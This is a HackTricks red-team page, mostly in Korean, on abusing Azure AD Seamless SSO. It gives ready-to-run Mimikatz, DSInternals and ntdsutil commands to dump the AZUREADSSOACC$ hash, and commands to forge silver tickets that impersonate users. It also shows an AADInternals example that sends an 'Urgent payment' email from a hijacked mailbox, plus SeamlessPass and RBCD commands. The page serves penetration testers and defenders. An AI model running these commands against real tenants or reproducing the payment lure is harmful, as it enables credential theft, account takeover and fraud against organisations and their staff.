Az - Seamless SSO

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 사용자가 회사 네트워크에 연결된 회사 장치에서 자동으로 로그인하도록 합니다. 활성화되면, 사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

기본적으로 Azure AD Seamless SSO는 온프레미스 도메인에 가입된 PC에서 사용자를 로그인시킵니다.

이는 PHS (비밀번호 해시 동기화)PTA (통과 인증) 모두에서 지원됩니다.

데스크탑 SSO는 인증을 위해 Kerberos를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **AZUREADSSOACC$**라는 컴퓨터 계정을 생성합니다. AZUREADSSOACC$ 계정의 비밀번호는 구성 중에 Azure AD로 평문으로 전송됩니다.

Kerberos 티켓은 비밀번호의 **NTHash (MD4)**를 사용하여 암호화되며, Azure AD는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.

Azure AD는 Kerberos 티켓을 수락하는 엔드포인트(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.

온프레미스 -> 클라우드

사용자 **AZUREADSSOACC$**의 비밀번호절대 변경되지 않습니다. 따라서 도메인 관리자는 이 계정의 해시를 손상시킬 수 있으며, 이를 사용하여 은 티켓을 생성하여 동기화된 모든 온프레미스 사용자로 Azure에 연결할 수 있습니다.

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

해시를 사용하여 이제 실버 티켓을 생성할 수 있습니다:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. 브라우저 시작: Mozilla Firefox를 실행해야 합니다.
  2. 브라우저 구성:
  • **about:config**로 이동합니다.
  • network.negotiate-auth.trusted-uris의 기본 설정을 지정된 으로 설정합니다:
  • https://aadg.windows.net.nsatc.net
  • https://autologon.microsoftazuread-sso.com
  1. 웹 애플리케이션 접근:
  • 조직의 AAD 도메인과 통합된 웹 애플리케이션을 방문합니다. 일반적인 예로는 Office 365가 있습니다.
  1. 인증 과정:
  • 로그인 화면에서 사용자 이름을 입력하고 비밀번호 필드는 비워둡니다.
  • 진행하려면 TAB 또는 ENTER를 누릅니다.

tip

MFA가 활성화된 경우 우회하지 않습니다.

옵션 2 dcsync 없이 - SeamlessPass

이 공격을 dcsync 공격 없이 수행하는 것도 가능합니다. 이 블로그 게시물에서 설명된 대로 더 은밀하게 진행할 수 있습니다. 이를 위해 다음 중 하나만 필요합니다:

  • 손상된 사용자의 TGT: 사용자가 손상되었지만 TGT가 없더라도, KekeoRubeus와 같은 많은 도구에서 구현된 가짜 TGT 위임 트릭을 사용하여 얻을 수 있습니다.
  • 골든 티켓: KRBTGT 키가 있다면 공격받는 사용자에게 필요한 TGT를 생성할 수 있습니다.
  • 손상된 사용자의 NTLM 해시 또는 AES 키: SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성합니다.
  • AZUREADSSOACC$ 계정 NTLM 해시 또는 AES 키: 이 정보와 공격할 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 대로).

마지막으로, TGT를 사용하여 SeamlessPass 도구를 사용할 수 있습니다:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 이 블로그 게시물에서 확인할 수 있습니다.

클라우드 전용 사용자에 대한 Kerberos 티켓 생성

Active Directory 관리자가 Azure AD Connect에 접근할 수 있다면, 클라우드 사용자에 대한 SID를 설정할 수 있습니다. 이렇게 하면 Kerberos 티켓클라우드 전용 사용자에 대해서도 생성될 수 있습니다. 유일한 요구 사항은 SID가 적절한 SID여야 한다는 것입니다.

caution

클라우드 전용 관리자 사용자의 SID 변경은 현재 Microsoft에 의해 차단되었습니다.
정보는 https://aadinternals.com/post/on-prem_admin/에서 확인하세요.

온프레미스 -> 클라우드 리소스 기반 제약 위임

이 계정이 있는 컨테이너 또는 OU에서 컴퓨터 계정(AZUREADSSOACC$)을 관리할 수 있는 사람은 계정에 대한 리소스 기반 제약 위임을 구성하고 접근할 수 있습니다.

python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기